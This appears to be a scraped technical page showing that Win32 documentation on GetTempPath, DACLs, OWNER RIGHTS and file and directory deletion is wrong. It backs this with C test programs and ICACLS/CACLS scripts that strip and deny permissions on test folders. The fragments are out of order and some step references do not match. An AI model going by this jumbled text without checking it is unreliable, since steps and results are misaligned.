Microsoft Windows [Version 10.0.26100.1712] GetTempPath() returned pathname '..' of 1 characters for TMP= of 0 characters GetTempFileName() returned pathname '..\tmp8421.tmp' GetTempPath() returned pathname '..\tmp8421.tmp' of 1 characters for TMP= of 1 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '..\tmp8421.tmp' of 1 characters for TMP= of 2 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '..\tmp8421.tmp' of 1 characters for TMP= of 3 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'C:\Users\Stefan\Desktop\€\' of 26 characters for TMP=€ of 1 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'C:\Users\Stefan\Desktop\' of 24 characters for TMP=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\. of 129 characters GetTempFileName() returned pathname 'C:\Users\Stefan\Desktop\tmp8432.tmp' GetTempPath() returned pathname 'C:\TEMP\' of 8 characters for TMP=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\. of 261 characters GetTempFileName() returned pathname 'C:\TEMP\tmp8440.tmp' GetTempPath() returned pathname '' of 285 characters for TMP=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz of 260 characters GetTempFileName() returned pathname '\tmp8447.tmp' GetTempPath() returned pathname 'C:\Users\Stefan\Desktop\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz\' of 155 characters for TMP=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz of 130 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'C:\Users\Stefan\' of 15 characters for TMP=.. of 2 characters GetTempFileName() returned pathname 'C:\Users\Stefan\tmp844F.tmp' GetTempPath() returned pathname 'C:\Users\' of 9 characters for TMP=..\.. of 5 characters GetTempFileName() returned error 5 GetTempPath() returned pathname 'C:\' of 3 characters for TMP=..\..\.. of 8 characters GetTempFileName() returned pathname 'C:\tmp8459.tmp' GetTempPath() returned pathname 'C:\' of 3 characters for TMP=..\..\..\.. of 11 characters GetTempFileName() returned pathname 'C:\tmp8463.tmp' GetTempPath() returned pathname '\\.\AUX\' of 8 characters for TMP=AUX of 3 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\AUX\' of 8 characters for TMP=AUX: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\CON\' of 8 characters for TMP=CON: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\NUL\' of 8 characters for TMP=NUL: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\PRN\' of 8 characters for TMP=PRN: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '..' of 1 characters for TEMP= of 0 characters GetTempFileName() returned pathname '..\tmp8473.tmp' GetTempPath() returned pathname '..\tmp8473.tmp' of 1 characters for TEMP= of 1 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '..\tmp8473.tmp' of 1 characters for TEMP= of 2 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '..\tmp8473.tmp' of 1 characters for TEMP= of 3 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'C:\Users\Stefan\Desktop\€\' of 25 characters for TEMP=€ of 1 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'C:\Users\Stefan\Desktop\' of 24 characters for TEMP=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\. of 129 characters GetTempFileName() returned pathname 'C:\Users\Stefan\Desktop\tmp8483.tmp' GetTempPath() returned pathname 'C:\Users\Stefan\' of 16 characters for TEMP=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\. of 261 characters GetTempFileName() returned pathname 'C:\Users\Stefan\tmp848E.tmp' GetTempPath() returned pathname '' of 285 characters for TEMP=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz of 260 characters GetTempFileName() returned pathname '\tmp8495.tmp' GetTempPath() returned pathname 'C:\Users\Stefan\Desktop\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz\' of 155 characters for TEMP=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz of 130 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'C:\Users\Stefan\' of 16 characters for TEMP=.. of 2 characters GetTempFileName() returned pathname 'C:\Users\Stefan\tmp849D.tmp' GetTempPath() returned pathname 'C:\Users\' of 9 characters for TEMP=..\.. of 5 characters GetTempFileName() returned error 5 GetTempPath() returned pathname 'C:\' of 3 characters for TEMP=..\..\.. of 8 characters GetTempFileName() returned pathname 'C:\tmp84AA.tmp' GetTempPath() returned pathname 'C:\' of 3 characters for TEMP=..\..\..\.. of 11 characters GetTempFileName() returned pathname 'C:\tmp84BB.tmp' GetTempPath() returned pathname '\\.\AUX\' of 8 characters for TEMP=AUX of 3 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\AUX\' of 8 characters for TEMP=AUX: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\CON\' of 8 characters for TEMP=CON: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\NUL\' of 8 characters for TEMP=NUL: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\PRN\' of 8 characters for TEMP=PRN: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '..' of 1 characters for USERPROFILE= of 0 characters GetTempFileName() returned pathname '..\tmp84CC.tmp' GetTempPath() returned pathname '..\tmp84CC.tmp' of 1 characters for USERPROFILE= of 1 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '..\tmp84CC.tmp' of 1 characters for USERPROFILE= of 2 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '..\tmp84CC.tmp' of 1 characters for USERPROFILE= of 3 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'C:\Users\Stefan\Desktop\€\' of 25 characters for USERPROFILE=€ of 1 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'C:\Users\Stefan\Desktop\' of 24 characters for USERPROFILE=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\. of 129 characters GetTempFileName() returned pathname 'C:\Users\Stefan\Desktop\tmp84DD.tmp' GetTempPath() returned pathname 'C:\WINDOWS\' of 11 characters for USERPROFILE=.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\. of 261 characters GetTempFileName() returned pathname 'C:\WINDOWS\tmp84E7.tmp' GetTempPath() returned pathname '' of 285 characters for USERPROFILE=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz of 260 characters GetTempFileName() returned pathname '\tmp84EF.tmp' GetTempPath() returned pathname 'C:\Users\Stefan\Desktop\abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz\' of 155 characters for USERPROFILE=abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz of 130 characters GetTempFileName() returned error 267 GetTempPath() returned pathname 'C:\Users\Stefan\' of 16 characters for USERPROFILE=.. of 2 characters GetTempFileName() returned pathname 'C:\Users\Stefan\tmp84F3.tmp' GetTempPath() returned pathname 'C:\Users\' of 9 characters for USERPROFILE=..\.. of 5 characters GetTempFileName() returned error 5 GetTempPath() returned pathname 'C:\' of 3 characters for USERPROFILE=..\..\.. of 8 characters GetTempFileName() returned pathname 'C:\tmp84FF.tmp' GetTempPath() returned pathname 'C:\' of 3 characters for USERPROFILE=..\..\..\.. of 11 characters GetTempFileName() returned pathname 'C:\tmp8509.tmp' GetTempPath() returned pathname '\\.\AUX\' of 8 characters for USERPROFILE=AUX of 3 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\AUX\' of 8 characters for USERPROFILE=AUX: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\CON\' of 8 characters for USERPROFILE=CON: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\NUL\' of 8 characters for USERPROFILE=NUL: of 4 characters GetTempFileName() returned error 267 GetTempPath() returned pathname '\\.\PRN\' of 8 characters for USERPROFILE=PRN: of 4 characters GetTempFileName() returned error 267 0x10b (WIN32: 267 ERROR_DIRECTORY) -- 267 (267) Error message text: The directory name is invalid. CertUtil: -error command completed successfully.OUCH⁶: contrary to the second highlighted statement of its documentation cited above, the Win32 function
GetTempPath()
returns values greater than
261 = MAX_PATH
+ 1 characters on
Windows 8 and later versions!
An access control list (ACL) is a list of access control entries (ACE). Each ACE in an ACL identifies a trustee and specifies the access rights allowed, denied, or audited for that trustee. The security descriptor for a securable object can contain two types of ACLs: a DACL and a SACL.Interaction Between Threads and Securable Objects The MSDN article File Security and Access Rights states likewise:A discretionary access control list (DACL) identifies the trustees that are allowed or denied access to a securable object. When a process tries to access a securable object, the system checks the ACEs in the object's DACL to determine whether to grant access to it. If the object does not have a DACL, the system grants full access to everyone. If the object's DACL has no ACEs, the system denies all attempts to access the object because the DACL does not allow any access rights. The system checks the ACEs in sequence until it finds one or more ACEs that allow all the requested access rights, or until any of the requested access rights are denied. […]
The valid access rights for files and directories include the DELETE, READ_CONTROL, WRITE_DAC, WRITE_OWNER, and SYNCHRONIZE standard access rights.OUCH⁰: the highlighted statements of both MSDN articles are but wrong – unless overridden by an ACE for the trustee with well-known security identifier[…]
By default, authorization for access to a file or directory is controlled strictly by the ACLs in the security descriptor associated with that file or directory. In particular, the security descriptor of a parent directory is not used to control access to any child file or directory.
S-1-3-4
alias
OWNER RIGHTS
introduced with
Windows Vista, the RC
alias READ_CONTROL
and
WD
alias
WRITE_DAC
access rights are granted
to the object’s owner!
Security Identifiers (SIDs) New for Windows Vista
The TechNet article Security Identifiers Technical Overview specifies:
The following table lists the universal well-known SIDs.AD DS: Owner Rights The TechNet article How Permissions Work contradicts the highlighted statements of both MSDN articles and states in itsUniversal well-known SIDs
Value Universal Well-Known SID Identifies … … … S-1-3-4 Owner Rights A group that represents the current owner of the object. When an ACE that carries this SID is applied to an object, the system ignores the implicit READ_CONTROL and WRITE_DAC permissions for the object owner.
Permissions for Files and Folderssection:
Folder permissions include Full Control, Modify, Read & Execute, List Folder Contents, Read, and Write. Each of these permissions consists of a logical group of special permissions that are listed and defined in the following table.Permissions for Files and Folders
Permission Description … … Create Files/
Write DataCreate Files allows or denies creating files in the folder. (Applies to folders only.) […] Create Folders/
Append DataCreate Folders allows or denies creating folders in the folder. (Applies to folders only.) […] … … Delete Subfolders and Files Allows or denies deleting subfolders and files, even if the Delete permission has not been granted on the subfolder or file. (Applies to folders.) Delete Allows or denies deleting the file or folder. If you do not have Delete permission on a file or folder, you can still delete it if you have been granted Delete Subfolders and Files on the parent folder. […]
You should also be aware of the following:
Groups or users that are granted Full Control on a folder can delete any files in that folder, regardless of the permissions protecting the file.
Start the Command Processor
Cmd.exe
in an
arbitrary, preferable empty directory, then display its access
permissions:
CACLS.EXE .
C:\Users\Stefan\Desktop NT AUTHORITY\SYSTEM:(OI)(CI)F
BUILTIN\Administrators:(OI)(CI)F
AMNESIAC\Stefan:(OI)(CI)F
Create an (empty) file blunder.tmp
, remove all its
(inherited) access permissions, verify that its
DACL is
empty, and delete the file:
COPY NUL: blunder.tmp ICACLS.EXE blunder.tmp /INHERITANCE:R /Q CACLS.EXE blunder.tmp /S ERASE blunder.tmpNote: the command lines can be copied and pasted as block into a Command Processor window.
1 file(s) copied. Successfully processed 1 files; Failed processing 0 files C:\Users\Stefan\Desktop\blunder.tmp "D:PAI"OUCH¹: contrary to the highlighted statements of both MSDN articles cited above, but according to the highlighted statements of the TechNet article cited above, the
Full Control(really:
FILE_DELETE_CHILD
) access permission
of the parent directory allows to delete a file with
empty DACL!
Create a subdirectory Blunder
, remove all its
(inherited) access permissions, verify that its
DACL is
empty, and (try to) remove it:
MKDIR Blunder ICACLS.EXE Blunder /INHERITANCE:R /Q CACLS.EXE Blunder /S RMDIR Blunder
Successfully processed 1 files; Failed processing 0 files C:\Users\Stefan\Desktop\Blunder "D:PAI" Access deniedOUCH²: contrary to the highlighted statements of the TechNet article cited above, the
Full Controlaccess permission of the parent directory does not allow to remove a subdirectory with empty DACL!
Grant the owner the SYNCHRONIZE
access permission for the subdirectory and remove it:
ICACLS.EXE Blunder /GRANT *S-1-3-4:(S) /INHERITANCE:R /Q RMDIR Blunder
Successfully processed 1 files; Failed processing 0 filesOUCH³: contrary to all highlighted statements of the articles cited above, removal of a subdirectory requires the
SYNCHRONIZE
access permission on
itself!
###
REM Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
IF NOT DEFINED SystemRoot EXIT /B
MKDIR Blunder
IF ERRORLEVEL 1 EXIT /B
TITLE Step 0: set empty DACL on subdirectory 'Blunder' and file 'blunder.tmp'
ECHO Y 1>blunder.tmp
"%SystemRoot%\System32\CACLs.exe" Blunder /S:D:P 0<blunder.tmp
"%SystemRoot%\System32\CACLs.exe" blunder.tmp /S:D:P 0<blunder.tmp
TITLE Step 1: verify implicit READ_CONTROL access on subdirectory 'Blunder'
"%SystemRoot%\System32\CACLs.exe" Blunder
TITLE Step 2: (try to) remove subdirectory 'Blunder' and file 'blunder.tmp'
RMDIR Blunder
ERASE blunder.tmp
TITLE Step 3: grant SYNCHRONIZE access on subdirectory 'Blunder', verify implicit WRITE_DAC access
ECHO Y 1>blunder.tmp
"%SystemRoot%\System32\CACLs.exe" Blunder /S:D:P(A;NP;0x100000;;;CO) 0<blunder.tmp
"%SystemRoot%\System32\CACLs.exe" Blunder
TITLE Step 4: remove subdirectory 'Blunder' and create it again
RMDIR Blunder
MKDIR Blunder
TITLE Step 5: deny FILE_ADD_FILE and FILE_ADD_SUBDIRECTORY access on current directory
"%SystemRoot%\System32\CACLs.exe" . /S:D:P(D;NP;0x6;;;CO) 0<blunder.tmp
"%SystemRoot%\System32\CACLs.exe" .
TITLE Step 6: (try to) rename subdirectory 'Blunder' and file 'blunder.tmp'
RENAME Blunder Dummy
RENAME blunder.tmp dummy.tmp
TITLE Step 7: move file 'blunder.tmp' into subdirectory 'Blunder'
MOVE blunder.tmp Blunder
TITLE Step 8: deny FILE_DELETE_CHILD access on subdirectory 'Blunder'
"%SystemRoot%\System32\CACLs.exe" Blunder /S:D:P(D;NP;0x40;;;CO) 0<blunder.tmp
"%SystemRoot%\System32\CACLs.exe" Blunder
TITLE Step 9: remove file 'blunder.tmp' and (empty) subdirectory 'Blunder'
ERASE Blunder\blunder.tmp
RMDIR Blunder
TITLE Step 10: reset DACL on current directory
"%SystemRoot%\System32\ICACLs.exe" . /RESET
EXIT /B
The documentation for the Win32 function
DeleteFile()
specifies in its Remarks
section:
The documentation for the Win32 function
- To delete or rename a file, you must have either delete permission on the file, or delete child permission in the parent directory.
[…]
The DeleteFile function fails if an application attempts to delete a file that has other handles open for normal I/O or as a memory-mapped file (FILE_SHARE_DELETE must have been specified when other handles were opened).
DeleteFileTransacted()
specifies in its Remarkssection:
The documentation for the Win32 function
- To delete or rename a file, you must have either delete permission on the file, or delete child permission in the parent directory.
[…]
The DeleteFileTransacted function fails if an application attempts to delete a file that has other handles open for normal I/O or as a memory-mapped file (FILE_SHARE_DELETE must have been specified when other handles were opened).
MoveFileEx()
specifies in its Remarkssection:
The documentation for the Win32 function
- To delete or rename a file, you must have either delete permission on the file or delete child permission in the parent directory. If you set up a directory with all access except delete and delete child and the ACLs of new files are inherited, then you should be able to create a file without being able to delete it. However, you can then create a file, and get all the access you request on the handle that is returned to you at the time that you create the file. If you request delete permission at the time you create the file, you can delete or rename the file with that handle but not with any other handle. For more information, see File Security and Access Rights.
MoveFileWithProgress()
specifies in its Remarkssection:
Note: the documentations for the Win32 functions
- To delete or rename a file, you must have either delete permission on the file or delete child permission in the parent directory. If you set up a directory with all access except delete and delete child and the ACLs of new files are inherited, then you should be able to create a file without being able to delete it. However, you can then create a file, and you will get all the access you request on the handle returned to you at the time you create the file. If you requested delete permission at the time you created the file, you could delete or rename the file with that handle but not with any other.
MoveFile()
and
MoveFileTransacted()
but lack such remarks.
The documentation for the Win32 function
ReplaceFile()
specifies in its Remarks
section:
The documentation for the Win32 function
- To delete or rename a file, you must have either delete permission on the file or delete child permission in the parent directory. If you set up a directory with all access except delete and delete child and the DACLs of new files are inherited, then you should be able to create a file without being able to delete it. However, you can then create a file, and you will get all the access you request on the handle returned to you at the time you create the file. If you requested delete permission at the time you created the file, you could delete or rename the file with that handle but not with any other.
RemoveDirectory()
specifies:
Deletes an existing empty directory.OUCH⁰: these documentations specify neither the permissions required to move a file across directories or volumes nor the permissions required to delete, rename or move a directory – contrary to their highlighted statements,[…]
[…]BOOL RemoveDirectory( [in] LPCTSTR lpPathName );
[in] lpPathName
The path of the directory to be removed. This path must specify an empty directory, and the calling process must have delete access to the directory.
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#define NO_ACCESS 0UL
#define FILE_SHARE_NONE 0UL
typedef struct _ace
{
ACE_HEADER Header;
ACCESS_MASK Mask;
SID Trustee;
} ACE;
const struct _acl
{
ACL acl;
ACE ace;
} dacl = {{ACL_REVISION, 0, sizeof(dacl), 1, 0},
{{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
#ifdef BLUNDER
NO_ACCESS, // (A;NP;;;;OW)
#else
SYNCHRONIZE, // (A;NP;0x100000;;;OW)
#endif
{SID_REVISION, ANYSIZE_ARRAY, SECURITY_CREATOR_SID_AUTHORITY, SECURITY_CREATOR_OWNER_RIGHTS_RID}}};
const SECURITY_DESCRIPTOR sd = {SECURITY_DESCRIPTOR_REVISION,
0,
SE_DACL_PRESENT | SE_DACL_PROTECTED,
(SID *) NULL,
(SID *) NULL,
(ACL *) NULL,
&dacl};
const SECURITY_ATTRIBUTES sa = {sizeof(sa), &sd, FALSE};
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
DWORD dwError = ERROR_SUCCESS;
HANDLE hBlunder = CreateFile(L"blunder.tmp",
NO_ACCESS,
FILE_SHARE_NONE,
&sa,
CREATE_NEW,
FILE_ATTRIBUTE_NORMAL,
(HANDLE) NULL);
if (hBlunder == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
if (!CloseHandle(hBlunder))
dwError = GetLastError();
if (!DeleteFile(L"blunder.tmp"))
dwError = GetLastError();
}
if (!CreateDirectory(L"Blunder", &sa))
dwError = GetLastError();
else
if (!RemoveDirectory(L"Blunder"))
dwError = GetLastError();
ExitProcess(dwError);
}
Compile and link the source file blunder.c
created in
step 1. a first time:
SET CL=/W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(38) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(40) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(49) : warning C4090: 'function' : different 'const' qualifiers blunder.c(65) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
Execute the console application blunder.exe
built in
step 2. and evaluate its exit code:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.
Compile and link the source file blunder.c
created in
step 1. a second time, now with the preprocessor macro
BLUNDER
defined:
CL.EXE /DBLUNDER blunder.c kernel32.lib
Execute the console application blunder.exe
built in
step 4. and evaluate its exit code:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5) Error message text: Access is denied. CertUtil: -error command completed successfully.OUCH¹: contrary to all highlighted statements of the documentations cited above, removal of the subdirectory
Blunder
fails with Win32 error code 5
alias
ERROR_ACCESS_DENIED
– SYNCHRONIZE
access on the
subdirectory itself is but required to remove it!
Overwrite the text file blunder.c
created in
step 1. with the following content:
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
HANDLE hBlunder;
WCHAR szBlunder[MAX_PATH];
DWORD dwBlunder = GetModuleFileName((HMODULE) NULL,
szBlunder,
sizeof(szBlunder) / sizeof(*szBlunder));
DWORD dwError = ERROR_SUCCESS;
if (dwBlunder == 0UL)
dwError = GetLastError();
else
#ifdef BLUNDER
{
hBlunder = CreateFile(szBlunder,
DELETE,
FILE_SHARE_DELETE,
(LPSECURITY_ATTRIBUTES) NULL,
OPEN_EXISTING,
FILE_FLAG_DELETE_ON_CLOSE,
(HANDLE) NULL);
if (hBlunder == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
if (!CloseHandle(hBlunder))
dwError = GetLastError();
}
#else
if (!DeleteFile(szBlunder))
dwError = GetLastError();
#endif
ExitProcess(dwError);
}
Compile and link the source file blunder.c
overwritten
in step 6. a first time:
CL.EXE blunder.c kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(12) : warning C4101: 'hBlunder' : unreferenced local variable Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
Execute the console application blunder.exe
built in
step 7. and evaluate its exit code:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5) Error message text: Access is denied. CertUtil: -error command completed successfully.OUCH²: contrary to all highlighted statements of the documentations cited above, deletion of the file
blunder.exe
fails with Win32 error code 5
alias
ERROR_ACCESS_DENIED
– Windows’ kernel denies to delete loaded
portable executableimage files independent of their access permissions!
Compile and link the source file blunder.c
overwritten
in step 6. a second time, now with the preprocessor macro
BLUNDER
defined:
CL.EXE /DBLUNDER blunder.c kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
Execute the console application blunder.exe
built in
step 9. and evaluate its exit code:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5) Error message text: Access is denied. CertUtil: -error command completed successfully.
Overwrite the text file blunder.c
created in
step 5. with the following content:
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
DWORD dwError = ERROR_SUCCESS;
if (!CreateDirectory(L"Blunder",
(LPSECURITY_ATTRIBUTES) NULL))
dwError = GetLastError();
else
{
if (!SetCurrentDirectory(L"Blunder"))
dwError = GetLastError();
else
{
#ifndef BLUNDER
if (!RemoveDirectory(L"."))
#else
if (!RemoveDirectory(L"..\\Blunder"))
#endif
dwError = GetLastError();
if (!SetCurrentDirectory(L".."))
dwError = GetLastError();
}
if (!RemoveDirectory(L"Blunder"))
dwError = GetLastError();
}
ExitProcess(dwError);
}
Compile and link the source file blunder.c
overwritten
in step 15. a first time:
CL.EXE blunder.c kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
Execute the console application blunder.exe
built in
step 16. and evaluate its exit code:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x20 (WIN32: 32 ERROR_SHARING_VIOLATION) -- 32 (32) Error message text: The process cannot access the file because it is being used by another process. CertUtil: -error command completed successfully.Note: the Win32 error code 32 alias
ERROR_SHARING_VIOLATION
is expected here – the Win32 function
SetCurrentDirectory()
opens the current directory without FILE_SHARE_DELETE
!
Compile and link the source file blunder.c
overwritten
in step 15. a second time, now with the preprocessor macro
BLUNDER
defined:
CL.EXE /DBLUNDER blunder.c kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
Execute the console application blunder.exe
built in
step 18. and evaluate its exit code:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x20 (WIN32: 32 ERROR_SHARING_VIOLATION) -- 32 (32) Error message text: The process cannot access the file because it is being used by another process. CertUtil: -error command completed successfully.
CreateDirectoryEx()
,
CreateDirectoryTransacted()
,
CreateFile2()
,
CreateFileTransacted()
,
DeleteFileTransacted()
and
RemoveDirectoryTransacted()
is left as an exercise to the reader.
Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.
